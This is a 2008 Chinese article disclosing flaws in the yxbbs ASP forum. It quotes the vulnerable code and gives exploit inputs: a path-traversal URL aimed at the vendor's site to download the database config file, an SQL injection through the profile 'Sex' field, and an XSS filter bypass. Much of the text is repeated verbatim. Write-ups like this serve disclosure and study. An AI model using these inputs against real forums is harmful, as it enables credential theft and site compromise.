小議yxbbs漏洞利用代碼
更新時間:2008年05月07日 19:57:50 作者:
yxbbs 是一個較小的論壇系統(tǒng),也算是一個較好的小論壇.
管方網(wǎng)站是: http://www.yimxu.com/bbs/Default.Asp
對其研究了一下,發(fā)現(xiàn)存在不小安全問題.
1、任意文件下載漏洞.
漏洞文件: ViewFile.asp
Function ChkFile(FileName)
Dim Temp,FileType,F
ChkFile=false
FileType=Lcase(Split(FileName,".")(ubound(Split(FileName,"."))))
Temp="|asp|aspx|cgi|php|cdx|cer|asa|"
If Instr(Temp,"|"&FileType"|")>0 Then ChkFile=True
F=Replace(Request("FileName"),".","")
If instr(1,F,chr(39))>0 or instr(1,F,chr(34))>0 or instr(1,F,chr(59))>0 then ChkFile=True
End Function
在檢查下載文件類型時只判斷不是那幾種類型就可以下載。
因此存在漏洞,我們可構(gòu)造這樣的下載
http://www.yimxu.com/bbs/ViewFile.asp?filename=../../inc/conn.asp%20
注意,后面加多個%20, 代表空格。

2、SQL注入漏洞
漏洞文件:Usersetup.Asp
SaveMyInfo()
注意到
Sex=YxBBs.Fun.GetStr("Sex")
QQ=YxBBs.Fun.GetStr("QQ")
IsQQpic=YxBBs.Fun.GetStr("IsQQpic")
Public Function GetStr(Str)
Str = Trim(Request.Form(Str))
If IsEmpty(Str) Then
Str = ""
Else
Str = Replace(Str,"{","{")
Str = Replace(Str,"}","}")
Str = Replace(Str,"'","'")
Str = Replace(Str,"|","|")
End If
GetStr = Trim(Str)
End Function
只過慮 ' { } | 等,但
YxBBs.execute("update [YX_User] set Birthday='"&Birthday"',Sex="&Sex",PicW="&PicW",
PicH="&PicH",Mail='"&Mail"',QQ='"&QQ"',Honor='"&Honor"',Pic='"&PicUrl"',
Home='"&Home"',Sign='"&Sign"',IsQQpic="&IsQQpic" where name='"&
YxBBs.MyName"' And Password='"&YxBBs.MyPwd"'")
Sex="&Sex&",
可以看到,Sex 可以構(gòu)造成 1,SQL注入語句… 對于asscee 數(shù)據(jù)庫影響不太,但SQL語句影響很大.
3、多處跨站漏洞
函數(shù)
Public Function ubbg(str)
Dim re
Set re=new RegExp
re.IgnoreCase=true
re.Global=True
re.Pattern="((javascript:)|(<)|(>)|(height)|(width)|(jscript:)|(object)|(script)|(js:)|(vbscript:)|
(vbs:)|(\.value)|(about:)|(file:)|(document.cookie)|(on(mouse|Exit|error|click|key|load)))"
str=re.Replace(str,"")
re.Pattern="(&#)"
str=re.Replace(str,"&#")
Set re=Nothing
ubbg=str
End Function
因為過慮為空,所以可以這樣構(gòu)造
(javas(object)cript:)
過慮后就成了 javascript:
就說到這里.
漏洞文件: ViewFile.asp
Function ChkFile(FileName)
Dim Temp,FileType,F
ChkFile=false
FileType=Lcase(Split(FileName,".")(ubound(Split(FileName,"."))))
Temp="|asp|aspx|cgi|php|cdx|cer|asa|"
If Instr(Temp,"|"&FileType"|")>0 Then ChkFile=True
F=Replace(Request("FileName"),".","")
If instr(1,F,chr(39))>0 or instr(1,F,chr(34))>0 or instr(1,F,chr(59))>0 then ChkFile=True
End Function
在檢查下載文件類型時只判斷不是那幾種類型就可以下載。
因此存在漏洞,我們可構(gòu)造這樣的下載
http://www.yimxu.com/bbs/ViewFile.asp?filename=../../inc/conn.asp%20
注意,后面加多個%20, 代表空格。

2、SQL注入漏洞
漏洞文件:Usersetup.Asp
SaveMyInfo()
注意到
Sex=YxBBs.Fun.GetStr("Sex")
QQ=YxBBs.Fun.GetStr("QQ")
IsQQpic=YxBBs.Fun.GetStr("IsQQpic")
Public Function GetStr(Str)
Str = Trim(Request.Form(Str))
If IsEmpty(Str) Then
Str = ""
Else
Str = Replace(Str,"{","{")
Str = Replace(Str,"}","}")
Str = Replace(Str,"'","'")
Str = Replace(Str,"|","|")
End If
GetStr = Trim(Str)
End Function
只過慮 ' { } | 等,但
YxBBs.execute("update [YX_User] set Birthday='"&Birthday"',Sex="&Sex",PicW="&PicW",
PicH="&PicH",Mail='"&Mail"',QQ='"&QQ"',Honor='"&Honor"',Pic='"&PicUrl"',
Home='"&Home"',Sign='"&Sign"',IsQQpic="&IsQQpic" where name='"&
YxBBs.MyName"' And Password='"&YxBBs.MyPwd"'")
Sex="&Sex&",
可以看到,Sex 可以構(gòu)造成 1,SQL注入語句… 對于asscee 數(shù)據(jù)庫影響不太,但SQL語句影響很大.
3、多處跨站漏洞
函數(shù)
Public Function ubbg(str)
Dim re
Set re=new RegExp
re.IgnoreCase=true
re.Global=True
re.Pattern="((javascript:)|(<)|(>)|(height)|(width)|(jscript:)|(object)|(script)|(js:)|(vbscript:)|
(vbs:)|(\.value)|(about:)|(file:)|(document.cookie)|(on(mouse|Exit|error|click|key|load)))"
str=re.Replace(str,"")
re.Pattern="(&#)"
str=re.Replace(str,"&#")
Set re=Nothing
ubbg=str
End Function
因為過慮為空,所以可以這樣構(gòu)造
(javas(object)cript:)
過慮后就成了 javascript:
就說到這里.
相關(guān)文章
關(guān)于oblog、動易、風訊等擁有源碼編輯的程序漏洞淺析
這篇文章主要介紹了關(guān)于oblog、動易、風訊等擁有源碼編輯的程序漏洞淺析2007-01-01我是如何發(fā)現(xiàn)CCProxy遠程溢出漏洞的
我是如何發(fā)現(xiàn)CCProxy遠程溢出漏洞的...2007-01-01